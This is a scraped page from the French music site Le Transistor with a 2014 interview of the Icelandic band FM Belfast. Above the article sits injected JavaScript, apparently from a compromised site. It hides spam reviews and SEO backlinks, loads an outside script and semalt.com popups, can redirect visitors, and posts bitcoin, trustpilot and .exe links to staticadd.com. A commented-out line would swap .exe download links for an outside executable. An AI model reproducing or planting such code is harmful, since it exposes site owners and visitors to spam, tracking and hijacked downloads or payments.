Logo/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
If I could give more than 5 stars, I would!! The food and coffee is wonderful. We also found the wait staff to be very efficient and friendly. I look forward to a return trip. 2001 jeep wrangler replacement tops<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Best brands are there. Parking available. Huge walkway. \u0432\u0435\u043d\u0435\u0446\u0438\u044f \u043c\u0430\u0441\u043a\u0430\u0440\u0430\u0434<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The whole family had a really nice day. The kids liked the Pitts special roller coaster the most, Junkker was also popular. Handbags were available from every corner and the service was nice. \u043e\u0442\u043e\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u0443\u044e \u043a\u0430<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Excellent location near the airport and exceptional service fibonacci indicator for metatrader<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great place to work. Everyone is so friendly and like family. Because they are family line marking service<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I love being so close to the city, with the harbour and city skyline, but also being surrounded by the beautiful gardens. So serene! \u7dab\u4e0a \u5a1b\u6a02<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Glen, Carla and the team are great at what they do. affordable graphics card<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Accommodations where top notch, and service was great. sller central<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Excellent construction, too many spaces that cannot be visited for set-up or renovation day trips from los cabos<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I am very happy and Thanks very much for Hospital at Boone rd HoustonTX \u043c\u0438\u0440 \u043c\u0435\u0431\u0435\u043b\u0438 \u043c\u0430\u043b\u0430\u0437\u0438\u044f<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Amzing hotel and staff. Breakfast so so so but so much menu. computer vision image<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Everything look like it did back in the old days with people who really live there! bet live scores<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Loved the nightscape City view from the rooftop bar! Did not try the food or drinks though. Very cozy area... would love to go back and spend some time there next trip cyprussporting betting<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I like this center ... So much to find exhibitions and artistic events ... Of course as many photos ... Portraits or photos taken in night with light sexy gami 200<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Pretty neat place but I would like to see the sting Ray have a bigger aquarium and the 2 sharks at thy petting place should have a bigger tank pool cage restoration<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Incredible water front views at sunset. Menu combines unique dishes with seafood standards. reklamim<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I might have been near there but I wasnt at there 37\u5e73\u65b9\u7c73<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Ive always received good patient care from the nurses n the front desk staff are attentive jilibet com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
AMERICA GREAT AGAIN! THANK YOU MR. PRESIDENT jilibweyn<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lines are long, food is expensive. But, thats to be expected. Still a fun time. money finance blog<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Buffet was ok. Lucky eagle is a bit better. Also didnt win again. No fun when you lose. n\u1ed9i th\u1ea5t v\u0103n phòng<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great service and ambience. Review is for The Tavern. Dessert Fondue for Two was just perfectly portioned. Staff at Valet Desk was extremely helpful. kwinside.com<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Never again, old and out dated and clearly trading on name alone. enlace de retorno<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Pepper mill has always been a great place to go for fun adobe pro effects<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
First time there enjoyed it. Wish you could get points to your players card when you book a service at the spa, but they offer none St thomas crookes<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Tree related to Goutam Buddha, where he got enlightment . semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
It is good place to wander through, it is in a village of shops, plenty of space to. Parked ones car, some some yogurt raisins semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Ive been going to Portland Chiropractic Neurology for 7 years now. The staff is really helpful and attentive. The doctors are extremely knowledgeable. I always leave feeling much better than when I arrived. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
nieruchomosci batumi<\/a><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
If I could give more than 5 stars, I would!! The food and coffee is wonderful. We also found the wait staff to be very efficient and friendly. I look forward to a return trip. 2001 jeep wrangler replacement tops<\/a>.<\/article>
Best brands are there. Parking available.\r\nHuge walkway. \u0432\u0435\u043d\u0435\u0446\u0438\u044f \u043c\u0430\u0441\u043a\u0430\u0440\u0430\u0434<\/a>.<\/article>
The whole family had a really nice day.\r\nThe kids liked the Pitts special roller coaster the most, Junkker was also popular.\r\nHandbags were available from every corner and the service was nice. \u043e\u0442\u043e\u0440\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043f\u043e\u043b\u0443\u044e \u043a\u0430<\/a>.<\/article>
Excellent location near the airport and exceptional service fibonacci indicator for metatrader<\/a>.<\/article>
Great place to work. Everyone is so friendly and like family. Because they are family line marking service<\/a>.<\/article>
I love being so close to the city, with the harbour and city skyline, but also being surrounded by the beautiful gardens. So serene! \u7dab\u4e0a \u5a1b\u6a02<\/a>.<\/article>
Glen, Carla and the team are great at what they do. affordable graphics card<\/a>.<\/article>
Accommodations where top notch, and service was great. sller central<\/a>.<\/article>
Excellent construction, too many spaces that cannot be visited for set-up or renovation day trips from los cabos<\/a>.<\/article>
I am very happy and Thanks very much for Hospital at Boone rd HoustonTX \u043c\u0438\u0440 \u043c\u0435\u0431\u0435\u043b\u0438 \u043c\u0430\u043b\u0430\u0437\u0438\u044f<\/a>.<\/article>
Amzing hotel and staff. Breakfast so so so but so much menu. computer vision image<\/a>.<\/article>
Everything look like it did back in the old days with people who really live there! bet live scores<\/a>.<\/article>
Loved the nightscape City view from the rooftop bar! Did not try the food or drinks though. Very cozy area... would love to go back and spend some time there next trip cyprussporting betting<\/a>.<\/article>
I like this center ... So much to find exhibitions and artistic events ... Of course as many photos ... Portraits or photos taken in night with light sexy gami\t200<\/a>.<\/article>
Pretty neat place but I would like to see the sting Ray have a bigger aquarium and the 2 sharks at thy petting place should have a bigger tank pool cage restoration<\/a>.<\/article>
Incredible water front views at sunset. Menu combines unique dishes with seafood standards. reklamim<\/a>.<\/article>
I might have been near there but I wasnt at there 37\u5e73\u65b9\u7c73<\/a>.<\/article>
Ive always received good patient care from the nurses n the front desk staff are attentive jilibet com<\/a>.<\/article>
AMERICA GREAT AGAIN! \r\nTHANK YOU MR. PRESIDENT jilibweyn<\/a>.<\/article>
Lines are long, food is expensive. But, thats to be expected. Still a fun time. money finance blog<\/a>.<\/article>
Buffet was ok. Lucky eagle is a bit better. Also didnt win again. No fun when you lose. n\u1ed9i th\u1ea5t v\u0103n phòng<\/a>.<\/article>
Great service and ambience. Review is for The Tavern. Dessert Fondue for Two was just perfectly portioned. Staff at Valet Desk was extremely helpful. kwinside.com<\/a>.<\/article>
Never again, old and out dated and clearly trading on name alone. enlace de retorno<\/a>.<\/article>
Pepper mill has always been a great place to go for fun adobe pro effects<\/a>.<\/article>
First time there enjoyed it. Wish you could get points to your players card when you book a service at the spa, but they offer none St thomas crookes<\/a>.<\/article>
Tree related to Goutam Buddha, where he got enlightment . semalt net<\/a>.<\/article>
It is good place to wander through, it is in a village of shops, plenty of space to. Parked ones car, some some yogurt raisins semalt net<\/a>.<\/article>
Ive been going to Portland Chiropractic Neurology for 7 years now. The staff is really helpful and attentive. The doctors are extremely knowledgeable. I always leave feeling much better than when I arrived. semalt net<\/a>.<\/article>nieruchomosci batumi<\/a><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec FM Belfast

Entretien avec FM Belfast

Publié le 16 Apr 2014
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

En novembre dernier, Le Transistor a réalisé un vieux rêve : aller à Reykjavik pour le festival Iceland Airwaves. De passage dans la ville des FM Belfast, on en a profité pour demander une interview. Árni Rúnar Hlöðversson et Lóa Hlín Hjálmtýsdóttir nous ont accueillis chez eux pendant plus d’une heure pour nous faire visiter le bureau qui fait office de studio d’enregistrement, et parler du nouvel album à paraître : Everything. Un couple simple pour un groupe complètement déjanté !

FM Belfast

Pour l’interview, on s’est posés tranquillement au salon et Lóa a commencé à peler les pommes de terre pendant que leur fils d’un an à peine était en train de gambader et d’escalader son papa. C’est là que l’on comprend pourquoi les FM Belfast ont mis un peu plus de temps que prévu à sortir leur troisième album.

L’album était en effet prévu pour l’année dernière. « La vie change un peu une fois que le bébé est là. Mais il a beaucoup voyagé déjà : il a fait 44 concerts avec nous ! Parfois, quand on part pour deux jours, il reste chez sa grand-mère, mais on veut pas le laisser trop longtemps loin de nous. Comme l’été dernier à Berlin, on est partis avec la baby-sitter. » Le fait que le groupe soit basé à Reykjavik complique un peu les concerts spontanés. « De Reykjavik, ça nous prend trois heures juste pour quitter le pays, et ensuite il faut généralement faire une correspondance. Comme c’est long d’aller en Europe, on voyage pas pour juste une date, on s’arrange généralement pour organiser une tournée. »

Le groupe a bien évolué depuis leurs débuts en 2005 : on compte six enfants dans le groupe maintenant. « C’est toujours aussi marrant ! Bon, c’est vrai que sortir un album est bien moins marrant maintenant qu’aux débuts, quand on pouvait le faire dès qu’on en avait envie. Maintenant on doit attendre d’avoir la validation de tout le monde. Ca prend plus de temps, mais en même temps c’est plus efficace.
Lóa : Avant c’était instantané, et maintenant il y a beaucoup d’étapes : on fait les arrangements, le mixage… et puis ensuite, on le teste en club, parce qu’on connaît beaucoup de DJs ! J’aime beaucoup voir les réactions des gens à l’écoute de notre musique !
Árni : Mais le show reste le plus important, et il faut que ça reste amusant ! Sinon on continuerait pas !
Le groupe se prépare d’ailleurs à partir pour leur premier concert au Japon.
Lóa : Ce sera intéressant de voir ce qui va se passer après… Parce que c’était comme un but pour nous, d’aller au Japon avec le groupe.
Árni : Oui on s’était dit qu’après le Japon, on aurait tout accompli, et donc qu’on pourrait arrêter le groupe.
Lóa : On l’avait toujours envisagé comme un but inaccessible… et maintenant notre vœu s’exauce ! Quel sera le prochain but ?
Árni : On pourrait faire des tafs qui gagnent bien mieux que la musique. Même bosser dans un café nous rapporterait plus ! La seule raison qui nous pousse à continuer, c’est de pouvoir voyager et surtout de s’amuser. Et aujourd’hui, on était en train de se demander quel effet ça ferait d’avoir à nouveau un boss.
Lóa : Je sais que j’en serais capable…

Árni Vilhjálmsson arrive chez ses amis et s’installe avec nous, comme à l’apéro.
Árni : Il revient de faire un concert, c’était la première fois que je le voyais en solo, c’était très sympa ! Son projet s’appelle Nini Wilson.
Árni 2 : Ce nom, c’est le surnom que me donne Laura : ça veut dire tototte !
Lóa : J’avais deux Árni, c’était trop, j’en avais marre de me répéter. Donc j’ai trouvé un surnom.
Árni 2 : Et puis ça me va bien parce que je suis plus féminin que lui !
Débarquant de scène, Árni arbore un joli style geek-chics. Comme lorsque les FM Belfast sont en concert. « On voulait pas porter des t-shirt comme les autres groupes, on voulait montrer notre respect au public : c’est pour ça qu’on porte des nœuds papillons depuis le début. Maintenant peut-être que les hipsters s’en ont emparé ! Je dis pas qu’ils ont copié mais… Il semble qu’on ait lancé le mouvement !
Lóa : Alors que c’est le contraire de notre philosophie : l’idée est de dépasser le côté “cool”. Les gens cools ne dansent pas, parce qu’ils ont peur de ce que les gens vont penser. Donc si on n’est pas cool sur scène, et qu’on danse comme si on s’en fout, le public va pouvoir se lâcher. »

Lors du concert au Iceland Airwaves, le public n’a pas réagi quand le groupe a parlé en islandais… ! « Je crois qu’on a plus de fans à l’étranger. Mais c’est aussi parce qu’on est pas si connus que ça en Islande : on a vendu pas mal d’albums, mais on est pas diffusé en radio. En fait, ici, la plupart des groupes qui marchent à l’étranger ne passent pas en radio : Mum par exemple ne passent jamais sur les ondes islandaises, jamais !
Árni : On a d’un côté les groupes underground qui ne passent jamais en radio et qui s’exportent, et ceux qui passent en radio mais qui ne vont jamais quitter le pays.
Lóa : L’Islande donne un élément qui nous différentie et qui va faire que les gens vont se pencher sur notre musique. C’est comme la technique du pied dans la porte. C’est un avantage : on bénéficie de Sigur Ros et Björk, et maintenant des OF Monsters and Men.
Árni : A chaque fois qu’un groupe de chez nous attire l’attention, c’est bon pour nous tous. Pour les autres groupes, mais aussi pour le pays : pour le tourisme, c’est fou ! On devrait vraiment recevoir un salaire du gouvernement : chaque fois qu’on rencontre quelqu’un qui nous reconnaît par le groupe, il vient à cause de la musique, ça lui a permis de découvrir d’autres groupes et donné envie de venir en Islande. A chaque fois !
Árni 2 : Il faut admettre qu’on doit remercier The Sugarcubes et Björk, sinon personne n’aurait d’intérêt pour la musique islandaise. Et comme tout le monde dit qu’on est doués en musique, ça flatte notre ego. Du coup, je pense pas qu’on soit tous super bons, mais on développe des égos démesurés. (rires)
Árni : C’est surtout que ceux qui font de la musique normale, comme les autres, ne sortent pas du pays, parce qu’ils n’attirent pas vraiment l’attention.
Lóa : En même temps, les Of Monsters and Men sont pas si barrés !
Árni : Oui, mais ils ont trouvé le bon moment. C’est dingue quand même : on n’entend rien sur Sigur Ros, ou alors une fois par an, mais les Of Monsters and Men, ils en ont parlé tous les jours aux informations, parce que ça explose !

Les FM Belfast inversent les rôles et donnent leur avis sur notre exception culturelle.
Árni 2 : Certaines des chansons de Jacques Dutronc ont été traduites en islandais.
Lóa : En fait, c’est mon professeur de français en lycée nous a fait traduire les paroles. J’ai adoré, donc mon prof m’a offert l’album.
Árni 2 : En tous cas, j’aime bien les costards qu’il porte sur scène.
Lóa : J’aime beaucoup les paroles de Serge Gainsbourg aussi !
Árni : Pour moi, Dutronc c’est le Bob Dylan français !

Réclame

Everything, le troisième album de FM Belfast paraît le 25 avril 2014 !
FM Belfast seront le 14 mai au Café de la Danse
Lire le live report de FM Belfast à la Machine du Moulin Rouge
Lire l’interview de Jonsi
Lire l’interview des Of Monsters and Men

Email, RSS Follow
Email



Catégorie : A la une, Entretiens
Artiste(s) : FM Belfast
Evenement(s) : Iceland Airwaves
Production(s) : Super!

Une réaction »

  • Custom de Février : Grouplove, Alex Winston et We Are Enfant Terrible - Le Transistor | Le Transistor :

    […] l’interview de We Are Enfant Terrible Lire l’interview de FM Belfast Lire l’interview de […]

    Le 8 August 2014 à 15 h 19 min

Et toi t'en penses quoi ?

A lire aussi

  • Peter Doherty & Frédéric Lo au Trianon
  • P.R2B à La Cigale
  • Brigitte Fontaine au Printemps de Bourges
  • Franz Ferdinand au Zénith
  • Myele Manzanza et Monsieur MÂLÂ au New Morning

Gallery

LEM110115-6_GF img_3278 img_8521 dsc_7103